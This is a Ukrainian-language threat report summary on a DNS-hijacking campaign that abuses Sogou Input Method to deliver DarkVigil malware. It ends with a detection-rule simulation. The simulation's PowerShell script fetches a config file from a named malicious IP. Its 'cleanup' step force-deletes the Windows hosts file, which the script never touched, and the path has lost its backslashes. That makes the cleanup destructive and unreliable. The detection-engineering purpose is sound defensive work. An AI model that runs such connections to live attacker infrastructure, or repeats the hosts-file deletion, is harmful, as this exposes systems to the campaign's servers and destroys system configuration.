Кампанія з розповсюдження шкідливого ПЗ SlippyNunchucks експлуатує промоцію бренду Sogou

Резюме

Зловмисна група SlippyNunchucks використовує викрадення DNS для перехоплення незахищеного трафіку HTTP, що генерується Sogou Input Method. Це дозволяє зловмисникам впровадити шкідливу конфігурацію, яка ініціює завантаження шкідливого ПЗ DarkVigil через методи бічного завантаження. Кампанія в першу чергу спрямована на користувачів, які говорять китайською, в регіонах Азії та Європи.

Розслідування

Дослідники ESET виявили, що група зловживає механізмом просування бренду в Sogou Input Method, зокрема компонентом SGTool.exe. Маніпуляція з DNS перенаправляє запити, призначені для легітимних конфігураційних кінцевих точок, на інфраструктуру, контрольовану зловмисниками. Розслідування також виявило багатоступеневий ланцюг бічного завантаження, що включає легітимний виконуваний файл Adobe, перейменований для маскування його присутності.

Пом’якшення

Tencent вирішила цю проблему в версії Sogou Input Method 16.10, перейшовши з HTTP на HTTPS для уражених запитів і впровадивши перевірку сертифікатів TLS. Користувачам слід оновити програмне забезпечення до останньої доступної версії, щоб уникнути атак викрадення DNS з ін’єкцією та доставкою шкідливих конфігурацій.

Відповідь

У випадку виявлення шкідливої активності організаціям слід розслідувати несанкціоновані зміни DNS і перевірити мережевий трафік на наявність з’єднань з відомими доменами етапних серверів, такими як sogou-cdn.com. Служби безпеки також повинні відстежувати підозрілі процеси, що викликаються компонентами Sogou Input Method, включаючи неочікувані виконання перейменованих виконуваних файлів Adobe або незапідписані DLL, завантажені з директорій компонентів.

Виконання симуляції

Передумови: Контрольні перевірки телеметрії та базового рівня мають бути успішно пройдені.

Аргументація: Цей розділ деталізує точне виконання техніки супротивника (ТТП), розробленої для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати ідентифіковані ТТП та прагнути генерувати точну телеметрію, очікувану логікою виявлення. Анонімні або не пов’язані приклади призведуть до неправильної діагностики.

• Наратив атаки та команди: Супротивник прагне змоделювати сценарій викрадення DNS, коли запит до config.pinyin.sogou.com перенаправляється на зловмисну IP-адресу. Для активації наданого правила виявлення симуляція обійде локальний DNS і використовуватиме жорстко закодовану IP-адресу (47.239.250.102), яка відповідає критеріям правила. Це імітує момент, коли викрадена відповідь DNS направляє програмне забезпечення Sogou до сервера, контрольованого зловмисниками для завантаження корисного навантаження.

• Скрипт регресійного тесту:

  # Симуляція викрадення DNS через з'єднання з жорстко закодованою IP-адресою для запуску специфічного правила
  # Це імітує спробу Sogou Input Method підключитися до сервера конфігурації,
  # але бути перенаправленим на зловмисну IP-адресу.
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] Початок симуляції генерації телеметрії викрадення DNS..."
  
  # Ми використовуємо пряме з'єднання за IP для імітації ефекту викраденого DNS-резолюції
  # Багато проксі-журналів записують домен, запитаний через заголовок Host 
  # навіть якщо з'єднання здійснюється через IP.
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] Спроба з'єднання з $TargetDomain через $MaliciousIP"
  
      # Використовуємо Invoke-WebRequest для імітації мережевого трафіку через проксі
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] З'єднання не вдалося (очікувано, оскільки IP, ймовірно, не в мережі), але телеметрія мала була згенерована."
  }
  
  Write-Host "[*] Симуляція завершена."

• Команди очищення:

  # Цей скрипт симуляції не вносить постійні зміни.
  # Для очищення мережевих артефактів, якщо вони були додані (наприклад, файл hosts), використайте:
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (Потребує адміністративних прав)
  Write-Host "[*] Очищення завершено. Постійних артефактів не створено."